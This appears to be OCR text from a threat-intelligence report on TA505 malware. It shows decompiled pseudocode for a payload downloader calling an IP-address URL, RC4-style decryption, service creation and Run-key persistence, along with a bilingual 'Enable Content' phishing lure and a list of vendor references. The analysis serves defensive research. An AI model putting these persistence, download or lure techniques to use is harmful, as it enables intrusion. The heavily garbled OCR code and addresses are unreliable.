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v27 = @;
v2 = alj
v26 = B;
/3 = sub_401000("Wininet.dll™);
vd = (int stdcall *)(int, const char ™) :}GEt_FLhC_Mdr‘(532?35?59, 8);
vs = (void (_ stdcall *)(int, char *, signed int, int *))vd4(v3, "InternetReadFile");
v25 = w5}
ve = (int (_ stdcall *){void *, _DWORD, _DWORD, DWORD, signed int))Get_Func_Addr(148066263, 5);
v7 = vG(&unk_418C39, @, 0, @, @x4P00000);
v24 = wT; o x
if ( 7 ) - 5 ri L) ANIWE
return ©; _http://185. 17. [T1. 201/dat3. omg
vB = (int (__std *)(int, char *, _DWORD, _DWORD, unsigned int, _DWORD))Get_Func_Addr(-1199719@66, 5);
vd = vB(v7, aHttpl85171232@, @, @, 2147483648, 8);
if ( 1vo )
i
vie = (void (_ stdcall *)(_DWORD))Get_Func_Addr(1938754828, 5);
via(e);
return @;
b
vl2 = (int (__ stdcall *)(int, signed int, signed int, _DWORD, signed int, signed int, _DWORD))Get_Func_Addr(

1508532372,
a);
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[z A D (MD5:25D48C3A71A5F8777ADADB67C2A4F649).

LA ¥iew—h g | LS rsenoceash [y (S Strings windew  [J

int _ usercall sub_412786@<eax>(__intl6 al@<dx>, int a2)

{

int v2; // esi

unsigned  int8 v3; // bl

_BYTE *wd; [/ ecx

unsigned  int8 v5; // dh

int ve; // eax

char *v7; [/ edi

char v8; f/ dl

int result; f/ eax

__intle vi@; /S [esp+Eh] [ebp-2h]
signed int v11; // [esp+l8h] [ebp+8h]

v2 = alj;

vi = @y

vlg = alj

vd = [_BYTE *)a2;

vs = @8;

*{_WORD *)(a2 + 256) = 8;
vE = 8;

do

Fuddt = vE+H;
whlle { {un;lgned __intle)ve < @xleau );

= {(char *}az2;
Vil = 256
do
1
VE = T

Vs += vB + String[v3];
®(y7 - 1) = *(_BYTE *Y(v5 + v2);
LOBYTE(result) = v3 + 1

*(_BYTE *)(v5 + 2} = vi; K
Vi o= 8;
result = (unsigned 1n+5) esult;
if (un;lgned __intB)result != vl )
v3 = result;
--v1lj;
¥
while ( w11 };

return result;

}
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Jint __usercall sub_4126F@fi<eax>(unsigned int file_len@<edx>, int file_buff@i<ecx>, int key_addr)
i
i| int result; // eax

| unsigned int v4; // esi

| unsigned _ int8 v5; // bh
i| unsigned int ve; // edi

'| char v7; // bl

| result = key addr;
1| v4 = file_len;

| w5 = *¥(_BYTE *}{key_addr + 256);

!| LOBYTE(Ffile len) = *(_BYTE *)(key_addr + 257);

i| v = @;

doif (vd )

|11

i do

' {

; v7 = *(_BYTE *)}(++v5 + key_addr); 4

| file len = (unsigned _ int8)(v7 + file len); EI. *
) *(_BYTE *)(vS + key addr) = *(_BYTE *}((unsigned _ int8)file len + key adar)i™™

*)
. *(_BYTE *)(file_len + key_addr) = v7;
! *(_BYTE *}(ve+ + file_buf) ~= *(_BYTE *}((unsigned _ int8)}{*(_BYTE *)(v5 + key_addr) + v7) + key_addr);

: while ( vé < w4 );
i *(_BYTE *)(key_addr + 256) = v5;
i *(_BYTE *)(key_addr + 257) = file_len;

1}

i| else

]

[ *(_BYTE *)(key_addr + 256) = v5;

. *(_BYTE *)(key_addr + 257) = file_len;
|k

il return result;

B 3-11 ENEPRERLNTIERD
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vl = (int (*)(void))Get_Func_Addr(@xFDE@@EE3, 3);

if ( vi() )
{
v2 = (void (_ stdcall *)(_DWORD, _DWORD, const wchar_t *, const wchar_t *, _DWORD, _DWORD))Get_ Func_Addr(
1468398831,
3

v2(@, @, L"cmd”, L"/C net.exe stop foundation”, @, @);
v3 = (void (_ stdcall *)(_DWORD, _DWORD, const wchar_t *, const wchar_t *, _DWORD, _DWORD))Get_ Func_Addr(
1468398831,
3);
vi(@, @, L"cmd”, L"/C sc delete foundation”, @, @);
vd = (void (_ stdcall *)(signed int))Get_Func_Addr(1833466613, @);
vi(3008);
wsprintfi(
&outputstring,
L"/C sc create foundation binPath= \"%s -service\" type= own start= auto error= ignore”,
&v14);
OutputDebugstringW(&outputstring);
v5 = (void (_ stdcall *)(_DWORD, DWORD, const wchar_t *, WCHAR *, DWORD, _DWORD))Get Func_Addr(146839@831, 3);
v5(@, @, L"ocmd”, &utputsString, @, @);
vE = (void (_ stdcall *)(signed int))Get_Func_Addr(1833466613, @);

v6(2008) ;

v7 = (void (_ stdcall *)(signed int))Get_Func_Addr(1833466613, @);

v7(2008);

v8 = (void (_ stdcall *)(_DWORD, _DWORD, const wchar_t *, const wchar_t *, _DWORD, _DWORD))Get_ Func_Addr(
1468398831,
3

va(@, @, L"cmd”, L"/C net.exe start foundation y ", @, @);
v = (void (_ stdcall *)(signed int))Get_Func_Addr(1833466613, @);
va(15608) ;
vl@ = (int (_ stdcall *)(signed int))Get_Func_Addr(1833466613, @);
result = v1e(15e08);

}

else

vl2 = (void (_ stdcall *)(_DWORD, char *, signed int, _DWORD))Get Func_Addr(-916617914, 3);
viz(e, &16, 35, @);
wsprintfW(&outputstring, L"¥s\\Microsofts Help\\wsus.exe", &vl16);
wsprintfW(&vl3, L"%s\\Microsofts Help”, &vig);
sub_412198(&0utputstring);
sub_411Cee(&outputstring, &v13);
phkResult = @;
RegOpenKeyl(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &phkResult});
RegSetValueExW(phkResult, L"MicrosoftssoftWare™, @, 1u, (const BYTE *)&utputString, 2 * wcslen(&utputsString));
RegFlushKey(phkResult);
result = RegCloseKey(phkResult);
b

return result; Y ey
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Para ver/ editar, realice los siguientes pasos:

aga clic en el botén Habilitar edicion de la barra amarilla arriba.¢

Una vez que haya habilitado la edicién, haga clic en el boton Habilitar centenide. de la barra amarilla

arriba
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Documento creado utilizando la aplicacién no

Document created using the application not related
relacionadas con Microsoft Office

to Microsoft Office

For viewing/editing, perform the following steps: Para verfeditar, realice los siguientes pasos:
Haga clic en Activa la edicién debotonde 1a amarillo

Click Enable editing button from the yellow bar above
barra superior

Once you have enabled editing, please click Enable content i Va3 o e i i o sl vl
button from the yellow bar above vez que han i itar, por favor i
= z Habilitar contenido del boion de la barra amarilla de arriba
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[1] Threat Actor Profile: TA505, From Dridex to Globelmposter.

https://www. proofpoint. com/us/threat—insight/post/threat-actor—profile-ta505-dridex—

globeimposter

[2] NOMORETAS05 | Kyoung-ju Kwak@kjkwak12.

https://twitter.com/kjkwak12/status/1097882694082428929

[3] TAS505 HZFIA Excel 4.0 ZRERSRITHHIRISI L ENDHT.

https://ti. 360. net/blog/articles/excel—4. 0-macro-utilized-by—ta505-to—target—financial—

institutions—recently/

[4] TABO05 targets the US retail industry with personalized attachments.

https://www. proofpoint. com/us/threat—insight/post/tab505-targets—us-retail-industry—

personalized—attachments

[5] MORPHISEC UNCOVERS GLOBAL “PIED PIPER” CAMPAIGN.

https://blog. morphisec. com/morphisec—uncovers—pied—-piper—campaign

[6] Leaked Ammyy Admin Source Code Turned into Malware.

https://www. proofpoint. com/us/threat—insight/post/leaked-ammyy—admin—-source-code-turned-
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[7] ServHelper and FlawedGrace - New malware introduced by TA505.
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